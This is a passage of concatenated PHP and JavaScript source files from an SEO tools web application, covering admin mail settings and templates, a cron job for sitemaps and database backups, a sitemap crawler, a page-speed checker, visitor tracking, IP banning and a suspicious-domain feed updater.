($synonyms as $word) { $word = trim($word); if ($word != '') { $word = str_replace('/', '\/', $word); if (preg_match('/\b' . $word . '\b/i', $data)) { $founds[md5($word)] = str_replace(array("\n", "\r"), '', $line); $data = preg_replace('/\b' . $word . '\b/i', md5($word), $data); } } } } foreach ($arr_data as $code) { $code_md5 = md5($code); $data = str_replace('%%!%%' . $code_md5 . '%%!%%', $code, $data); } $array_count = count($founds); if ($array_count != 0) { foreach ($founds as $code => $value) { $data = str_replace($code, '{' . $value . '}', $data); } } return $data; } function parse_br($string) { @$string = explode("{", $string); for ($loop = 0; $loop < count($string); $loop++) { @$data[$loop] = explode("}", $string[$loop]); } return $data; } } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form onsubmit="return protocolCheck('0');" action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="row" style="padding-left: 5px;"> <div class="col-md-8"> <div class="form-group"> <label>Select your Mail Protocol: </label> <select name="protocol" class="form-control"> <option <?php echo isSelected($protocol, true, 1, '1'); ?> value="1">PHP Mail</option> <option <?php echo isSelected($protocol, true, 1, '2'); ?> value="2">SMTP</option> </select> </div> <br /> <div class="box-header with-border"> <h3 class="box-title">SMTP Information </h3> </div><!-- /.box-header --> <br /> <div class="form-group"> <label for="smtp_host">SMTP Host</label> <input type="text" placeholder="Enter smtp host" name="smtp_host" value="<?php echo $smtp_host; ?>" class="form-control"> </div> <div class="form-group"> <label for="smtp_auth">SMTP Auth</label> <select name="auth" class="form-control"> <option <?php echo isSelected($auth, true, 1); ?> value="true">True</option> <option <?php echo isSelected($auth, false, 1); ?> value="false">False</option> </select> </div> <!-- /form-group --> <div class="form-group"> <label for="smtp_port">SMTP Port</label> <input type="text" placeholder="Enter smtp port" name="smtp_port" value="<?php echo $smtp_port; ?>" class="form-control"> </div> <div class="form-group"> <label for="smtp_user">SMTP Username</label> <input type="text" placeholder="Enter smtp username" name="smtp_user" value="<?php echo $smtp_username; ?>" class="form-control"> </div> <div class="form-group"> <label for="smtp_pass">SMTP Password</label> <input type="password" placeholder="Enter smtp password" name="smtp_pass" value="<?php echo $smtp_password; ?>" class="form-control"> </div> <div class="form-group"> <label for="smtp_socket">SMTP Secure Socket</label> <select name="socket" class="form-control"> <option <?php echo isSelected($socket, true, 1, 'tls'); ?> value="tls">TLS</option> <option <?php echo isSelected($socket, true, 1, 'ssl'); ?> value="ssl">SSL</option> </select> </div> <!-- /form-group --> </div> </div> <input type="submit" name="save" value="Save" class="btn btn-primary"/> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script> function protocolCheck(val){ if(val == '1'){ $('input[name=smtp_port]').attr('disabled', 'disabled'); $('input[name=smtp_user]').attr('disabled', 'disabled'); $('input[name=smtp_pass]').attr('disabled', 'disabled'); $('select[name=socket]').attr('disabled', 'disabled'); $('select[name=auth]').attr('disabled', 'disabled'); $('input[name=smtp_host]').attr('disabled', 'disabled'); }else{ $('input[name=smtp_port]').removeAttr('disabled'); $('input[name=smtp_user]').removeAttr('disabled'); $('input[name=smtp_pass]').removeAttr('disabled'); $('select[name=socket]').removeAttr('disabled'); $('select[name=auth]').removeAttr('disabled'); $('input[name=smtp_host]').removeAttr('disabled'); } return true; } var selVal; $(function () { selVal = jQuery('select[name="protocol"]').val(); protocolCheck(selVal); }); $('select[name="protocol"]').on('change', function() { selVal = jQuery('select[name="protocol"]').val(); protocolCheck(selVal); }); </script> EOD; ?> <file_sep><?php /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ //------------------------------------------------- //----------------- CRON JOB FILE ----------------- //------------------------------------------------- //Define CRON define('CRON','_1'); //ROOT Path define('ROOT_DIR', realpath(dirname(dirname(__FILE__))) .DIRECTORY_SEPARATOR); //Application Path define('APP_DIR', ROOT_DIR .'core'.DIRECTORY_SEPARATOR); //Configuration Path define('CONFIG_DIR', APP_DIR .'config'.DIRECTORY_SEPARATOR); //Load Configuration & Functions require CONFIG_DIR.'config.php'; require APP_DIR.'functions.php'; //Log File $logMyCronFile = LOG_DIR.'cron.tdata'; $msgWithDate = ''; $msgWithDate .= '['. date('d-M-Y H:i:s') . ' ' . getTimeZone() .']' . " Cron job started \r\n\n"; //Clear Temp Folder Files $folderName = APP_DIR.'temp'.D_S; if (file_exists($folderName)) { foreach (new DirectoryIterator($folderName) as $fileInfo) { if ($fileInfo->isDot()) continue; if (time() - $fileInfo->getCTime() >= 60 * 60) { $fileName = $fileInfo->getFilename(); if($fileName != '.htaccess' && $fileName != 'index.php'){ if(is_dir($fileInfo->getRealPath())) delDir($fileInfo->getRealPath()); else delFile($fileInfo->getRealPath()); } } } } //Suspicious Domains List if (time()-filemtime(LIB_DIR.'sp_low.tdata') > 23 * 3600) updateSuspiciousDomains(); //Database Connection $con = dbConncet($dbHost,$dbUser,$dbPass,$dbName); //Load Settings $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $other = dbStrToArr($siteInfoRow['other_settings']); $sitemapBuildNow = $dbBackup = false; if(isSelected($other['other']['sitemap']['cron'])){ if($other['other']['sitemap']['cronopt'] == 'daily'){ if((time() - $other['other']['sitemap']['cronlog']) > 86400) $sitemapBuildNow = true; } if($other['other']['sitemap']['cronopt'] == 'weekly'){ if((time() - $other['other']['sitemap']['cronlog']) > 604800) $sitemapBuildNow = true; } if($other['other']['sitemap']['cronopt'] == 'monthly'){ if((time() - $other['other']['sitemap']['cronlog']) > 2592000) $sitemapBuildNow = true; } } if(isSelected($other['other']['dbbackup']['cron'])){ if($other['other']['dbbackup']['cronopt'] == 'daily'){ if((time() - $other['other']['dbbackup']['cronlog']) > 86400) $dbBackup = true; } if($other['other']['dbbackup']['cronopt'] == 'weekly'){ if((time() - $other['other']['dbbackup']['cronlog']) > 604800) $dbBackup = true; } if($other['other']['dbbackup']['cronopt'] == 'monthly'){ if((time() - $other['other']['dbbackup']['cronlog']) > 2592000) $dbBackup = true; } } //Build Sitemap if($sitemapBuildNow){ define('ADMIN_CON_DIR', ROOT_DIR.ADMIN_DIR_NAME.D_S.'controllers'.D_S); define('SITEMAP_',true); require ADMIN_CON_DIR.'sitemap-build.php'; if(file_exists(ROOT_DIR.'sitemap.xml')) $msgWithDate .= '['. date('d-M-Y H:i:s') . ' ' . getTimeZone() .']' . " Sitemap generated successfully \r\n\n"; else $msgWithDate .= '['. date('d-M-Y H:i:s') . ' ' . getTimeZone() .']' . " Sitemap generation failed \r\n\n"; //Update sitemap build time on database $other['other']['sitemap']['cronlog'] = time(); $other_settings = arrToDbStr($con,$other); $query = "UPDATE site_info SET other_settings='$other_settings' WHERE id='1'"; mysqli_query($con, $query); $dbBackup = false; } //Backup Database if($dbBackup){ $dbBackupPath = ROOT_DIR.ADMIN_DIR_NAME.D_S.'db-backups'.D_S; $filePath = backupMySQLdb($con, $dbName, $dbBackupPath, isSelected($other['other']['dbbackup']['gzip'])); if(file_exists($filePath)) $msgWithDate .= '['. date('d-M-Y H:i:s') . ' ' . getTimeZone() .']' . " Database backup generated successfully \r\n\n"; else $msgWithDate .= '['. date('d-M-Y H:i:s') . ' ' . getTimeZone() .']' . " Database backup failed \r\n\n"; //Update sitemap build time on database $other['other']['dbbackup']['cronlog'] = time(); $other_settings = arrToDbStr($con,$other); $query = "UPDATE site_info SET other_settings='$other_settings' WHERE id='1'"; mysqli_query($con, $query); } //Close the database conncetion mysqli_close($con); //Log Ending Time $msgWithDate .= '['. date('d-M-Y H:i:s') . ' ' . getTimeZone() .']' . " Cron job successfully completed! \r\n\n"; putMyData($logMyCronFile,$msgWithDate,FILE_APPEND); //------------------------------------------------- //------------------- B-ALAJ-I -------------------- //------------------------------------------------- //END die(); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="form-group"> <select id="type" class="form-control"> <option value="" disabled="" selected="">Select your option</option> <option value="custom">Custom Email</option> <option value="customers">Email to Customers</option> </select> </div> <div id="optionType" class="hide form-group"> <input placeholder="Type your customer name (autocomplete)" type="text" name="customer" id="customer" class="form-control" /> </div> <div class="form-group"> <input value="<?php echo $to; ?>" type="email" required="" class="form-control" placeholder="To:" id="to" name="to" /> </div> <div class="form-group"> <input value="<?php echo $sub; ?>" required="" class="form-control" placeholder="Subject:" name="sub" /> </div> <div class="form-group"> <textarea required="" class="form-control" id="mailcontent" name="mailcontent"><?php echo $message; ?></textarea> </div> </div><!-- /.box-body --> <div class="box-footer"> <div class="pull-right"> <a type="reset" href="<?php adminLink($controller); ?>" class="btn btn-default"><i class="fa fa-times"></i> Discard</a> <button type="submit" class="btn btn-primary"><i class="fa fa-envelope-o"></i> Send</button> </div> </div> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $ajaxLink = adminLink('?route=ajax/getCustomers',true); $filebrowserBrowseUrl = createLink('core/library/filemanager/dialog.php?type=2&editor=ckeditor&fldr=',true); $filebrowserUploadUrl = createLink('core/library/filemanager/dialog.php?type=2&editor=ckeditor&fldr=',true); $filebrowserImageBrowseUrl = createLink('core/library/filemanager/dialog.php?type=1&editor=ckeditor&fldr=',true); $footerAddArr[] = <<<EOD <script type="text/javascript"> var selVal; $(function () { CKEDITOR.replace('mailcontent',{ filebrowserBrowseUrl : '$filebrowserBrowseUrl', filebrowserUploadUrl : '$filebrowserUploadUrl', filebrowserImageBrowseUrl : '$filebrowserImageBrowseUrl', toolbar : 'Basic' }); CKEDITOR.on( 'dialogDefinition', function( ev ) { var dialogName = ev.data.name; var dialogDefinition = ev.data.definition; if ( dialogName == 'link' || dialogName == 'image' ){ dialogDefinition.removeContents( 'Upload' ); } }); }); $('select[id="type"]').on('change', function() { selVal = jQuery('select[id="type"]').val(); if(selVal == 'customers'){ $('#optionType').removeClass("hide"); $('#optionType').fadeIn(); $('#to').attr('readonly', 'readonly'); }else{ $('#optionType').fadeOut(); $('#to').removeAttr('readonly'); } }); </script> <link rel="stylesheet" href="//code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css" /> <style> .ui-autocomplete { z-index: 100 !important; } </style> <script src="//code.jquery.com/ui/1.11.4/jquery-ui.js"></script> <script type="text/javascript"> $('#customer').autocomplete({ source: function( request, response ) { $.ajax({ url : '$ajaxLink', dataType: "json", data: { term: request.term, type: 'plan_table' }, success: function( data ) { response( $.map( data, function( item ) { var code = item.split("|"); return { label: code[0], value: code[0], data : item } })); } }); }, autoFocus: true, minLength: 2, select: function( event, ui ) { var names = ui.item.data.split("|"); $('#to').val(names[1]); } }); </script> EOD; ?><file_sep># a2zseo <file_sep>/* * @author Balaji * @name: A to Z SEO Tools v2 - PHP Script * @copyright 2018 ProThemes.Biz * */ //XML Sitemap Generator var countLinks = 0; var strTime = 800; var limitAdmin = 5000; var linksArr =[]; var maxLinksCrawl = 50; var authCode,myUrl,maxLinks,checkDate,customDate,defPriority,defFreq; function doSitemap(){ myUrl=$("#url").val(); maxLinks=$("#mapPages").val(); checkDate=$("#mapDate").val(); customDate=$("#mapdateBox").val(); defPriority=$("#mapPri").val(); defFreq=$("#mapFre").val(); if(checkDate == '2'){ if(customDate=="" || customDate == null){ sweetAlert(oopsStr, dateErr , "error"); return false; } } if(myUrl==null || myUrl=="") { sweetAlert(oopsStr, msgDomain , "error"); return false; }else { //Fix URL if (myUrl.indexOf("http://") == 0) { myUrl=myUrl.substring(7); } if (myUrl.indexOf("https://") == 0) { myUrl=myUrl.substring(8); } validateCaptcha(); } } function startTask(auth){ authCode = auth; jQuery("#mainBox").fadeOut(); jQuery("#resultBox").css({"display":"block"}); jQuery(".percentimg").css({"display":"block"}); jQuery("#resultBox").show(); jQuery("#resultBox").fadeIn(); var pos = $('.topBox').offset(); $('body,html').animate({ scrollTop: pos.top },strTime); jQuery("#resultList").append('&lt;?xml version="1.0" encoding="UTF-8"?&gt; \n'); jQuery("#resultList").append('&lt;urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"&gt; \n'); var countMe = 0; processSitemap(countMe); } function processSitemap(countMe){ jQuery.post(axPath,{sitemap:'1', url:myUrl, authcode:authCode},function(data){ if(data == 'DOWN'){ $(".percentimg").fadeOut(); $("#saveXMLFile").fadeOut(); $("#resultList").html(msgDown); sweetAlert(oopsStr, msgDown , "error"); return false; } var resData = data.split("::|::"); var resCount = parseInt(resData[0]); var resLinkData = resData[1]; if(resCount === 0){ var resLinks = []; }else{ var resLinks = resLinkData.split("\n"); } var ccLinks = []; jQuery(".linksCount").html('<br/>'+crawlingStr+': '+ myUrl +'<br/>'+linksFound+': ' + resLinks.length); for (var i = 0; i < resLinks.length; i++) { var ccData = resLinks[i].trim(); if(jQuery.inArray(ccData, linksArr) == -1){ ccLinks.push(ccData); countLinks++; if(countLinks != maxLinks){ jQuery("#resultList").append('&lt;url&gt;'+'\n'); jQuery("#resultList").append(' &lt;loc&gt;'+ ccData + '&lt;/loc&gt;' + '\n'); if(defPriority != 'N/A'){ jQuery("#resultList").append(' &lt;priority&gt;'+ defPriority + '&lt;/priority&gt;' + '\n'); } if(defFreq != 'N/A'){ defFreqT = defFreq.toString().toLowerCase(); jQuery("#resultList").append(' &lt;changefreq&gt;'+ defFreqT + '&lt;/changefreq&gt;' + '\n'); } if(checkDate != 'N/A'){ if(checkDate == '1'){ var fullDate = new Date(); var twoDigitMonth = fullDate.getMonth()+1+"";if(twoDigitMonth.length==1) twoDigitMonth="0" +twoDigitMonth; var twoDigitDate = fullDate.getDate()+"";if(twoDigitDate.length==1) twoDigitDate="0" +twoDigitDate; var currentDate = fullDate.getFullYear() + "-" + twoDigitMonth + "-" + twoDigitDate; jQuery("#resultList").append(' &lt;lastmod&gt;'+ currentDate + '&lt;/lastmod&gt;' + '\n'); } if(checkDate == '2'){ customDate = customDate.trim();customDate=customDate.split('/'); customDate = customDate[2] + "-" + customDate[1] + "-" + customDate[0]; jQuery("#resultList").append(' &lt;lastmod&gt;'+ customDate + '&lt;/lastmod&gt;' + '\n'); } } jQuery("#resultList").append('&lt;/url&gt;'+'\n'); }else{ jQuery(".percentimg").fadeOut(); jQuery("#resultList").append('&lt;/urlset&gt;'); jQuery(".genCount").html('<br/>' + ssLimit.replace('[count]',countLinks)); break; } } } if(countLinks == maxLinks){ return false; } if (countMe == maxLinksCrawl){ jQuery(".percentimg").fadeOut(); jQuery("#resultList").append('&lt;/urlset&gt;'); jQuery(".genCount").html('<br/>' + ccErr + ' <br/>'+ ssLimit.replace('[count]',countLinks)); return false; } else{ linksArr = linksArr.concat(ccLinks); myUrl= linksArr[countMe]; countMe++; if (parseInt(countMe) < parseInt(linksArr.length)) { processSitemap(countMe); }else{ jQuery(".percentimg").fadeOut(); jQuery("#resultList").append('&lt;/urlset&gt;'); jQuery(".genCount").html('<br/>'+ ssLimit.replace('[count]',countLinks)); return false; } } }); } function htmlspecialchars_fix(string, quoteStyle) { var strTemp = 0, i = 0, noquotes = false; if (typeof quoteStyle === 'undefined') { quoteStyle = 2; } string = string.toString() .replace(/&lt;/g, '<') .replace(/&gt;/g, '>'); var OPTS = { 'ENT_NOQUOTES': 0, 'ENT_HTML_QUOTE_SINGLE': 1, 'ENT_HTML_QUOTE_DOUBLE': 2, 'ENT_COMPAT': 2, 'ENT_QUOTES': 3, 'ENT_IGNORE': 4 }; if (quoteStyle === 0) { noquotes = true; } if (typeof quoteStyle !== 'number') { quoteStyle = [].concat(quoteStyle); for (i = 0; i < quoteStyle.length; i++) { if (OPTS[quoteStyle[i]] === 0) { noquotes = true; } else if (OPTS[quoteStyle[i]]) { strTemp = strTemp | OPTS[quoteStyle[i]]; } } quoteStyle = strTemp; } if (quoteStyle & OPTS.ENT_HTML_QUOTE_SINGLE) { string = string.replace(/&#0*39;/g, "'"); } if (!noquotes) { string = string.replace(/&quot;/g, '"'); } return string; } $(document).ready(function() { document.getElementById('saveXMLFile').onclick = function() { var xmlData = 'data:application/xml;charset=utf-8,' + encodeURIComponent(htmlspecialchars_fix(document.getElementById('resultList').innerHTML)); this.href = xmlData; this.target = '_blank'; this.download = 'sitemap.xml'; }; });<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Main Footer --> <footer class="main-footer"> <!-- To the right --> <div class="pull-right hidden-xs"> Your Version <?php echo VER_NO; ?> </div> <!-- Copyright --> <strong>Copyright &copy; <?php echo date("Y"); ?> <a target="_blank" href="http://prothemes.biz/">ProThemes.Biz</a></strong> All rights reserved. </footer> <div class='control-sidebar-bg'></div> </div><!-- ./wrapper --> <!-- REQUIRED JS SCRIPTS --> <!-- Bootstrap 3.3.2 JS --> <?php scriptLink('bootstrap/js/bootstrap.min.js',true); ?> <!-- App --> <?php scriptLink('dist/js/app.min.js',true); ?> <?php scriptLink('dist/js/custom.js',true); ?> <!-- Morris.js charts --> <?php scriptLink('https://cdnjs.cloudflare.com/ajax/libs/raphael/2.1.0/raphael-min.js',true,true); ?> <?php scriptLink('plugins/morris/morris.min.js',true); ?> <!-- iCheck --> <?php scriptLink('plugins/iCheck/icheck.min.js',true); ?> <!-- DATA TABES SCRIPT --> <?php scriptLink('plugins/datatables/jquery.dataTables.min.js',true); ?> <?php scriptLink('plugins/datatables/dataTables.bootstrap.min.js',true); ?> <!-- date-range-picker --> <?php scriptLink('plugins/daterangepicker/moment.min.js',true); ?> <?php scriptLink('plugins/daterangepicker/daterangepicker.js',true); ?> <!-- CK Editor --> <?php scriptLink('plugins/ckeditor/ckeditor.js',true); ?> <!-- Select2 --> <?php scriptLink('plugins/select2/select2.full.min.js',true); ?> <!-- Checkbox --> <?php scriptLink('plugins/checkbox/bootstrap-checkbox.min.js',true); ?> <!-- colorpicker --> <?php scriptLink('plugins/colorpicker/bootstrap-colorpicker.min.js',true); ?> <?php if(isset($footerAdd) && $footerAdd){ foreach($footerAddArr as $footerCodes) echo $footerCodes; } ?> </body> </html><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Ban IP Address'; $subTitle = 'Add User IP to Ban'; $fullLayout = 1; $footerAdd = false; $footerAddArr = array(); if($pointOut == 'delete'){ $code = $args[0]; if($args[0] != ''){ $query = "DELETE FROM banned_ip WHERE id='$args[0]'"; $result = mysqli_query($con, $query); if (mysqli_errno($con)) { $msg = errorMsgAdmin(mysqli_error($con)); } else { header('Location:'.adminLink($controller,true)); die(); } } } if ($_SERVER['REQUEST_METHOD'] == 'POST') { $ban_ip = escapeTrim($con, $_POST['ban_ip']); $banReason = escapeTrim($con, $_POST['reason']); if (!filter_var($ban_ip, FILTER_VALIDATE_IP) === false) { $query = "INSERT INTO banned_ip (added_at,ip,reason) VALUES ('$date','$ban_ip','$banReason')"; mysqli_query($con, $query); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('IP added to database successfully.'); } else { $msg = errorMsgAdmin('IP is not valid!'); } } $query = "SELECT * FROM banned_ip"; $result = mysqli_query($con,$query); while($row = mysqli_fetch_array($result)){ $bannedList[]=$row; } ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function checkPageSpeed($url,$error="Something Went Wrong") { //Error Message define('ERR_MSG',$error); //Set Execution Time ini_set('max_execution_time', 20*60); //Library require_once(LIB_DIR."simple_html_dom.php"); //Parse Host $inputUrl = parse_url($url); $inputHost = $inputUrl['scheme'] . "://" . $inputUrl['host']; //Define Links Array $linkData = array(); $cssData = array(); $scriptData = array(); $imgData = array(); $otherData = array(); $downloadedData = array(); //Main URL Time Taken $myPageData = getPageData($url,$error); $time = $myPageData[1]; $outData = $myPageData[0]; //Link Tag foreach($outData->find('link') as $myLink) { $href = $myLink->href; if(!empty($href)) { if(substr($href, 0, 7) == "http://") { //Link Okay } elseif(substr($href, 0, 8) == "https://") { //Link Okay } elseif(substr($href, 0, 2) == "//") { $href = "http:" . $href; } elseif(substr($href, 0, 1) == "/") { $href = $inputHost . $href; } else{ $href = $inputHost .'/'. $href; } if(!in_array($href, $downloadedData)) { $timeTaken = calPageSpeed($href,$url); $time = $time + $timeTaken; if(str_contains($href,'.css')) { $arrData = array('CSS', $href, round($timeTaken, 2)); $linkData[] = $arrData; $cssData[] = $arrData; }else{ $arrData = array('Resources', $href, round($timeTaken, 2)); $linkData[] = $arrData; $otherData[] = $arrData; } //Add to Downloaded Links $downloadedData[] = $href; } } } //Image Tag foreach($outData->find('img') as $myLink) { $href = $myLink->src; if(!empty($href)) { if(substr($href, 0, 7) == "http://") { //Link Okay } elseif(substr($href, 0, 8) == "https://") { //Link Okay } elseif(substr($href, 0, 2) == "//") { $href = "http:" . $href; } elseif(substr($href, 0, 1) == "/") { $href = $inputHost . $href; } else{ $href = $inputHost .'/'. $href; } if(!in_array($href, $downloadedData)) { $timeTaken = calPageSpeed($href,$url); $time = $time + $timeTaken; $arrData = array('Image', $href, round($timeTaken, 2)); $linkData[] = $arrData; $imgData[] = $arrData; //Add to Downloaded Links $downloadedData[] = $href; } } } //Script Tag foreach($outData->find('script') as $myLink) { $href = $myLink->src; if(!empty($href)) { if(substr($href, 0, 7) == "http://") { //Link Okay } elseif(substr($href, 0, 8) == "https://") { //Link Okay } elseif(substr($href, 0, 2) == "//") { $href = "http:" . $href; } elseif(substr($href, 0, 1) == "/") { $href = $inputHost . $href; } else{ $href = $inputHost .'/'. $href; } if(!in_array($href, $downloadedData)) { $timeTaken = calPageSpeed($href,$url); $time = $time + $timeTaken; $arrData = array('Script', $href, round($timeTaken, 2)); $linkData[] = $arrData; $scriptData[] = $arrData; //Add to Downloaded Links $downloadedData[] = $href; } } } //Average time taken $avgTimeTaken = round($time, 2); return array($avgTimeTaken,$linkData,$cssData,$imgData,$scriptData,$otherData); } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @theme: Default Style * @copyright © 2017 ProThemes.Biz * */ ?> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="row"> <div class="col-md-1"> <div class="date_1"> <div class="date_up2"> <div class="center2 feb2"><?php echo $post_month; ?> </div> </div> <div class="date_down2"> <div class="text_word"><?php echo $post_day; ?> </div> </div> </div> </div> <div class="col-md-11 pad_left26"> <div class="romantic_free"> <h4 style="margin-left: 2px; font-size: 24px;"><?php echo ucfirst($page_title); ?></h4> </div> <div class="text_size12 mr_top8 clock"> <span class="color_text_in"> <i style="font-size:14px;" class="fa fa-clock-o color-grey"></i><b class="color_grap"> <?php echo $posted_date; ?> </b> </span> </div> </div> </div> <div class="csContent"> <?php echo $page_content; ?> </div> <div class="top40 xd_top_box text-center"> <?php echo $ads_720x90; ?> </div> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ $date = date('Y-m-d'); $sess_id = session_id(); $nowHour = date('H'); $nowTime = time(); $data = $pageData = array(); $pageCheck = false; $ref = $screen = $page = $activeCol = $colName = $ipagePageView = $pageView = ''; if(isset($_POST['page']) && Trim($_POST['page']) != '') $page = escapeTrim($con, $_POST['page']); else die('No Active Link'); if(isset($_POST['ref']) && Trim($_POST['ref']) != '') $ref = escapeTrim($con, $_POST['ref']); if(isset($_POST['screen']) && Trim($_POST['screen']) != '') $screen = escapeTrim($con, $_POST['screen']); if(isset($_SESSION[N_APP.'Username'])) $username = $_SESSION[N_APP.'Username']; else $username = 'Guest'; if ($nowHour % 2 == 0) $activeCol = (int)$nowHour; else $activeCol = (int)$nowHour - 1; $colName = "h$activeCol"; $trackQuery = mysqli_query($con, "SELECT * FROM rainbow_track where date='$date'"); if(mysqli_num_rows($trackQuery) > 0) { //Already date exist $records = mysqli_fetch_array($trackQuery); if(isset($_SESSION[N_APP.'_rainbow_track'])){ //Old Session $colName = 'h'.$_SESSION[N_APP.'_rainbow_track']['active_col']; $records[$colName] = dbStrToArr($records[$colName]); //Old Session Check if(isset($records[$colName][$ip][$sess_id])){ //Page Check $pageCheck = isPageExistOnArray($page,$records[$colName][$ip][$sess_id]['pages']); if($pageCheck[0]){ //Page Exist $ipagePageView = intval($records[$colName][$ip][$sess_id]['pages'][$pageCheck[1]][1]); $records[$colName][$ip][$sess_id]['pages'][$pageCheck[1]][1] = $ipagePageView+1; $records[$colName][$ip][$sess_id]['pages'][$pageCheck[1]][2] = $nowTime; }else{ //New Page $records[$colName][$ip][$sess_id]['pages'][] = array($page,'1',$nowTime); } //Update Last Visit $records[$colName][$ip][$sess_id]['last_visit'] = $nowTime; //Update Page View $pageView = intval($records[$colName][$ip][$sess_id]['pageview']); $records[$colName][$ip][$sess_id]['pageview'] = $pageView+1; //Update Username (If Applicable!) if($records[$colName][$ip][$sess_id]['username'] == 'Guest'){ if(isset($_SESSION[N_APP.'Username'])) $records[$colName][$ip][$sess_id]['username'] = $username; } if(updateToDbPrepared($con, 'rainbow_track', array( $colName => arrToDbStr($con,$records[$colName])), array('date' => $date))){ die('Something Went Wrong!'); } }else{ session_destroy(); session_start(); session_regenerate_id(); die('Session Not Valid'); } }else{ //New Session $records[$colName] = dbStrToArr($records[$colName]); $pageData[] = array($page,'1',$nowTime); $records[$colName][$ip][$sess_id] = array( 'username' => $username, 'pageview' => '1', 'pages' => $pageData, 'ref' => $ref, 'keyword' => array( 'google' => '', 'yahoo' => '', 'bing' => '', 'ask' => '' ), 'ua' => escapeTrim($con, $_SERVER['HTTP_USER_AGENT']), 'screen' => $screen, 'time' => $nowTime, 'last_visit' => $nowTime ); if(updateToDbPrepared($con, 'rainbow_track', array( $colName => arrToDbStr($con,$records[$colName])), array('date' => $date))){ die('Something Went Wrong!'); }else{ $_SESSION[N_APP.'_rainbow_track'] = array( 'active_col' => $activeCol, 'sess_id' => randomPassword() ); } } }else{ //Insert New Date & Create New Session $pageData[] = array($page,'1',$nowTime); $data[$ip][$sess_id] = array( 'username' => $username, 'pageview' => '1', 'pages' => $pageData, 'ref' => $ref, 'keyword' => array( 'google' => '', 'yahoo' => '', 'bing' => '', 'ask' => '' ), 'ua' => escapeTrim($con, $_SERVER['HTTP_USER_AGENT']), 'screen' => $screen, 'time' => $nowTime, 'last_visit' => $nowTime ); if(insertToDbPrepared($con, 'rainbow_track', array( $colName => arrToDbStr($con,$data), 'date' => $date))){ die('Something Went Wrong!'); }else{ $_SESSION[N_APP.'_rainbow_track'] = array( 'active_col' => $activeCol, 'sess_id' => randomPassword() ); } } die(); ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function updateSuspiciousDomains(){ $fL = 'sp_low.tdata'; $fM = 'sp_medium.tdata'; $fH = 'sp_high.tdata'; $l = 'https://secure.dshield.org/feeds/suspiciousdomains_Low.txt'; $m = 'https://secure.dshield.org/feeds/suspiciousdomains_Medium.txt'; $h = 'https://secure.dshield.org/feeds/suspiciousdomains_High.txt'; $l = simpleCurlGET($l); if($l != '') putMyData(LIB_DIR.$fL, $l); $m = simpleCurlGET($m); if($m != '') putMyData(LIB_DIR.$fM, $m); $h = simpleCurlGET($h); if($h != '') putMyData(LIB_DIR.$fH, $h); } function checkDomain($domain){ $domain = clean_url(trim($domain)); $fL = 'sp_low.tdata'; $fM = 'sp_medium.tdata'; $fH = 'sp_high.tdata'; $dbH = file(LIB_DIR.$fH); foreach($dbH as $domainName){ $domainName = clean_url(trim($domainName)); if($domainName == $domain) return 'h'; } $dbM = file(LIB_DIR.$fM); foreach($dbM as $domainName){ $domainName = clean_url(trim($domainName)); if($domainName == $domain) return 'm'; } $dbL = file(LIB_DIR.$fL); foreach($dbL as $domainName){ $domainName = clean_url(trim($domainName)); if($domainName == $domain) 